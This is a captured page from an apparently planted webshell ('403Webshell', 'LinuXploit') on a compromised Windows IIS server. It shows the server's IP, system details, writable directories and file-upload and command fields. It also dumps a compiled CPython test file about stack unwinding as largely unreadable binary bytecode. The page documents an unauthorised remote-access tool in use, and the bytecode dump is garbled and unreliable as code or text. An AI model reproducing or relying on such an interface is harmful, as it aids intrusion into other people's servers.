403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.220
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_c_stack_unwind.cpython-315.opt-2.pyc
R
>lqj;9c	���]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH$G
s
\
OQ2s\O%f\OQ2g]
sQsQsQsQsQ	sQQ
ksQQksQsQ
sQs\O4Q2\O6\O8Q2QQ\O:222s\O4Q2\O6\O8Q2\O>\OQ6HQ2\O6\2Q2QQ\O:22222s \!Q6Xc\OD2P!P!)�)�support)�
import_helper�_testinternalcapiz test requires subprocess supportc���[[QP2oU]6�cP	!U]6XcP
!QOQ[OQ2[OQ2122oQU7cP	!QU7cP
![
OQ6XcP	![
OQ6Xc�UQ7c[
OQ6cP!P	!UQ
6XcP	!UQ6XctPoUO2FDoUOQ2%fJSoJ 	UQ7cP	![[OQ
29%fQ2oU%cQ!P
![
OQ6XcUQ	6XcP	!UQ6XcP!P!)�_Py_WITH_FRAME_POINTERS� c3�F�SF �DoU%fJ
Uw�	J	P!3h�N���.0�values& �-C:\Python315\\Lib\test\test_c_stack_unwind.py�	<genexpr>�*_manual_unwind_expected.<locals>.<genexpr>+s#��
���
�%��		��
���
!�!�PY_CORE_CFLAGS�CFLAGSzno-omit-frame-pointerzomit-frame-pointer�darwin�linux�arm64�ppc64le�x86_64z-O�Py_ENABLE_SHARED�0�crash�win32>r�aarch64�)z-O0z-Ogz-O1)�getattrr�join�	sysconfig�get_config_var�sys�platform�maxsize�split�
startswith�int)�machiner�cflags�	final_opt�optrs&     r�_manual_unwind_expectedr- sT��%��!�
���
��"���!�#��
�X�X���$�$�%5�6��$�$�X�.�
���F��&�(���v�%��
�|�|�x���
�|�|�w���*�*��{�{�U�"����i��
��h���I��|�|�~���>�>�$�'�'� #�I�&��1�1��"�9�#;�#;�<N�#O�#V�#V�SV�W�����
�|�|�w���g���
��
 ���c��[OQ6�cP
!QOQ[OQ2[OQ2[OQ2122O2oQU7!)�rc3�F�SF �DoU%fJ
Uw�	J	P!3hr	r
rs& rr�"_is_arm32_build.<locals>.<genexpr>is#��
���
�%�
�	��
�r�	MULTIARCH�
HOST_GNU_TYPE�SOABI�armr)r#r%r r!r"�lower)�abis r�_is_arm32_buildr9esp��
�{�{�e���

�(�(���$�$�[�1��$�$�_�5��$�$�W�-�
����e�g���C�<�r.c�@``�]PHnQUU1QkknR[U2oU!)rc�H:�U%cP!U]6XcU2!P	oU%c~[[Q29%cJ[OO29%c$[OO	2%(oRORU]*
V2oJ�W!)N�_jit)�hasattrr#r<�
is_enabled�	is_active�call)�n�unwinder�warming_up_caller�
warming_up�result�build_stack�operators&&&  ��rrF�,_build_stack_and_unwind.<locals>.build_stackws��������6��:���
����V�$�-�-��H�H�'�'�)�-�-����*�*�,�,�
�
�]�]�;��A��x�L�F��
r.)F)rG�STACK_DEPTH)rB�stackrFrGs& @@r�_build_stack_and_unwindrKts#������ 
��X�.�E��Lr.c��[OV2o,o]o]o]o[[V22FDQvovq�[	U2o
U	Q6XcU]*
oLU	Q6XcU]*
oL	U]*
oUOVzU	12JS	V5VF1!)r�jit�python)r�classify_stack_addresses�	enumerate�zipr(�append)rJ�jit_enabled�labels�	annotated�
jit_frames�
python_frames�other_frames�idx�frame�tag�addrs&&         r�_classify_stackr]�s���
�
7�
7��
K�F��I��J��M��L�&�s�5�'9�:���\�e��5�z���%�<��!�O�J�
�H�_��Q��M��A��L����#�S�)�*�;��Z�=�=r.c��[[Q29%c[OO2o[O2oU%c[O
2L,oU%cEU%c=[Q2SFD*vqV[Q[U2Q
Q[U2Q
02J,	[V2vqxq�SFDvq�o
[QUQ
QUQ
QU
02J	Q	[U2Q
UQU	QU
Q
UQU-!)r<zJIT ranges:z  z#x�-�#�02drz -> �lengthrWrVrX�jit_backendrB)r=r#r<r>r�get_jit_backend�get_jit_code_ranges�printr(r]�len)rJ�
unwinder_namerSrc�ranges�start�endrUrWrVrXrYr\r[s&&            r�_summarize_unwindrl�s����#�v�&�@�@�3�8�8�+>�+>�+@�K�#�3�3�5�K�8C�
�
2�
2�
4��F��v�
�m�� �J�E��B�s�5�z�"�o�Q�s�3�x��m�4�5�!�9H�
�:�6�I�j�$���3�
��#�c��!�D��9�D���.�/�$�	�#�e�*����j����{��M�
�r.c�x�[[U2o[U2o[O[V 22!r	)rrrK�json�dumpsrl)rhrBrJs&  r�_annotate_unwindrp�s.���(�-�8�H�#�H�-�E��:�:�'��=�>�>r.c�
�[O[U22o[O2[
O
2[[
U2o[U2U2o[OQUQU-2!)�live�
after_free)
rn�loadsrpr#�_clear_internal_cachesr�clear_executor_deletion_listrrlro)rhrrrBrss&   r�$_annotate_unwind_after_executor_freerw�sk��
�:�:�&�}�5�6�D���� ��2�2�4��(�-�8�H�"�8�:�}�=�J��:�:����j���r.c���QUQUQU8Q0o[OO2oUOU2[O
[OQU,UP	P	Q5oUO%c[UOPQ5UO%c:[QUOQUO9%f
UO02gUOO2O2oU%f[Q	2g[O UP*2!["c o[Q
SO802SgPo=hh9h)z%from test.test_c_stack_unwind import z; print(�(z));z-c)�env�capture_output�text)rkzunwind helper failed (rc=z): z unwind helper produced no outputz&unexpected output from unwind helper: )�os�environ�copy�update�
subprocess�runr#�
executable�stdoutrf�
returncode�RuntimeError�stderr�strip�
splitlinesrnrt�
ValueError)�helper_namerhrz�code�run_env�proc�stdout_lines�excs&&,     r�_run_unwind_helperr��s1��
/��}�=��
�Q�}�/�s�	4�	��j�j�o�o��G��N�N�3���>�>�	����t�$���
�	�D��{�{�{�
�d�k�k�r�"������'����'8��D�K�K�<V�<V�4�;�;�;W�X�
�	
��;�;�$�$�&�1�1�3�L���=�>�>���z�z�,�r�*�+�+�����4�T�[�[�O�D�
��	���s�D6�6	E �E �E�E c� �[QU1-U@!)rp�r��rhrzs&,r�_unwind_resultr��s���0�-�G�3�G�Gr.c� �[QU1-U@!)rwr�r�s&,r�"_unwind_after_executor_free_resultr��s���.�
�F�AD�F�Fr.ztest requires the GIL enabledztest not supported on WASIc�:``�\sQs]�snU1QksQsQsUsU9s!)�ManualStackUnwindTestsc�:�[RU_2[O2O	2o[U2oUeUO
QU02UQ6XcUO
QU02[O2VmV mP![c(oQ[S27cSO
Q2gPo=hh9h)Nz8unsupported architecture for manual stack unwind check: rztest does crash on �
not supportedz5manual stack unwinding not supported on this platform)�super�setUpr$r)r7r-�skipTestr�manual_frame_pointer_unwindr��str�manual_unwind_expected)�selfr)�expectedr��	__class__s&   �rr��ManualStackUnwindTests.setUp�s����
��
���"�"�$�*�*�,��*�7�3�����M�M�J�7�)�T�
��w���M�M�/��y�9�:�	��9�9�;���&.�#���	��#�c�(�*��
�
�K��
��	�s$�3B�	C�C� C�0C�Cc��[[Q29%c[OO2oQQ-P
1,oU%cUO	QQ-P	12SFCD[vq4UOUQ59^tt^2[
Q-U@oUQ*oUOQ]2oUOQ2oUO%c�UOU[QUOQ	U02U%cPUQ
6Xc%UOU]QUOQ	U02L�UOU]QUOQ	U02LjUOU]QUOQ	U02LFUOU]Q
UOQ	U02UOU]QUOQ	U02PPP2CJ^	P!)%fhCJt9h)r<�
PYTHON_JITr�1�rzrVrWrcz"expected to find Python frames on z
 with env rMzexpected to find JIT frames on z!unexpected JIT frames counted on z$unexpected Python frames counted on �r�)r=r#r<�is_availablerR�subTestr��getr��assertGreaterEqualrIr)�
assertGreater�assertEqual�assertLessEqual)	r��
jit_available�envsrz�	using_jitrErVrWrcs	&        r�(test_manual_unwind_finds_expected_frames�?ManualStackUnwindTests.test_manual_unwind_finds_expected_framess�����V�,�H�H����1F�1F�1H�
���$�e�,�-����K�K�,��,�d�3�4�"�N�C����#��&�&�'�M��M��#�L�1�
� &�
�
�?�A� >�
�$�j�j��7���.�.�.��+�+�%�#�<�T�\�\�N�*�UX�TY�Z��
!�&�%�/� �.�.� *� !�"A�$�,�,��z�Z]�Y^� _��!�,�,� *� !�"C�D�L�L�>�Q[�\_�[`� a���(�(�&��?����~�Z�X[�W\�]���(�(�%��>�t�|�|�n�J�WZ�V[�\��
�$�$�"��;�D�L�L�>��TW�SX�Y��K'�&�#�&�&�&�s&�?A
G	�
.G	�9G	�B2G	�G
�
G
)r)r�)	�__name__�
__module__�__qualname__�__firstlineno__r�r��__static_attributes__�__classdictcell__�
__classcell__�r��
__classdict__s@@rr�r��s����/�.0�0r.r�rz+GNU backtrace unwinding test requires Linuxz-GNU backtrace unwinding skipped on Arm 32-bitc�@``�\sQsQsnU1QksQsQsQsUsU9s	!)�GnuBacktraceUnwindTests�Cc�:�[RU_2[O2P![c(oQ[S27cSO
Q2gPo=hh9h)r�z6gnu backtrace unwinding not supported on this platform)r�r�r�gnu_backtrace_unwindr�r�r�)r�r�r�s& �rr��GnuBacktraceUnwindTests.setUpLsI���
��
��	��2�2�4���	��#�c�(�*��
�
�V�W���	�s�(�	A�A�A�A�Ac
�p�[[Q29%c[OO2oQQ-P
1,oU%cUO	QQ-P	12SFD�vq4UOUQ59^tt^2[
Q-U@oUOQ]2oUOQ]2oUOQ2oUOU[QU02U%cUQ	6XcUOU]Q
U02LUOU]QU02PPP2J�	P!)%fhJ�9h)
r<r�rr�r�rWrVrcz9expected to find Python frames in GNU backtrace with env rMz6expected GNU backtrace to include JIT frames with env z8unexpected JIT frames counted in GNU backtrace with env �r�)r=r#r<r�rRr�r�r�r�rIr�r�)	r�r�r�rzr�rErWrVrcs	&        r�-test_gnu_backtrace_unwinds_through_jit_frames�EGnuBacktraceUnwindTests.test_gnu_backtrace_unwinds_through_jit_framesUs%����V�,�H�H����1F�1F�1H�
���$�e�,�-����K�K�,��,�d�3�4�"�N�C����#��&�&�'�F�#�F�� &�
�
�?�A� >�
�#�Z�Z��a�8�
�$�j�j��7���'�'�!��O�PS�u�U��
���!5��&�&�"��P�QT�PU�V���$�$�"��R�SV�RW�X��%'�&�#�&�&�&�s�>A#D$	�"D$	�)-D$	�$D5
�-D5
c�J�[[Q2%c%[OO2%fUO	Q2[QQQ5oUQ*oUO
Q2Q6wcUO	Q2UOUO
Q	]2[Q
2UOUO
Q]2]Q2UQ
*oUOUO
Q	]2]Q2UOUO
Q]2]Q2P!)r<zJIT is not availabler�r�)r�rrrcrMzJIT backend is not activerWz>expected live GNU backtrace to include recursive Python framesrVz1expected live GNU backtrace to include JIT framesrszCexpected GNU backtrace after executor free to include Python framesz:unexpected JIT frames in GNU backtrace after executor free)r=r#r<r�r�r�r�r�rIr�r�)r�rErrrss&   r�;test_gnu_backtrace_jit_frames_disappear_after_executor_free�SGnuBacktraceUnwindTests.test_gnu_backtrace_jit_frames_disappear_after_executor_freets�����V�$�$����)>�)>�)@�)@��M�M�0�1�3�"�s�4���f�~���8�8�M�"�e�+��M�M�5�6�����H�H�_�a�(��L�	
�
	
����H�H�\�1�%�
�?�	
��L�)�
�����N�N�?�A�.�
�Q�	
�
	
����N�N�<��+�
�H�	
r.r
)
r�r�r�r�r�r�r�r�r�r�r�s@@rr�r�Cs������>
�
r.r��__main__r�r�)#rnr}r$r�r#r!�unittest�testr�test.supportr�
import_moduler�has_subprocess_support�SkipTestrIr-r9rKr]rlrprwr�r�r��requires_gil_enabled�skipIf�is_wasi�TestCaser��
skipUnlessr�r��mainr
r.r�<module>r�sy���	���
����&�"�/�/�0C�D���%�%�%�
�
�
�>�
?�?���B�J��.>�&�.?��$�>H�F�
	���=�>�	������">�?�I�X�.�.�I�@�?�I�X	���=�>�	������">�?�	���S�\�\�W�,�.[�\�	�����3��I
�h�/�/�I
�	�]�@�?�I
�X�z���M�M�O�r.

Youez - 2016 - github.com/yon3zu
LinuXploit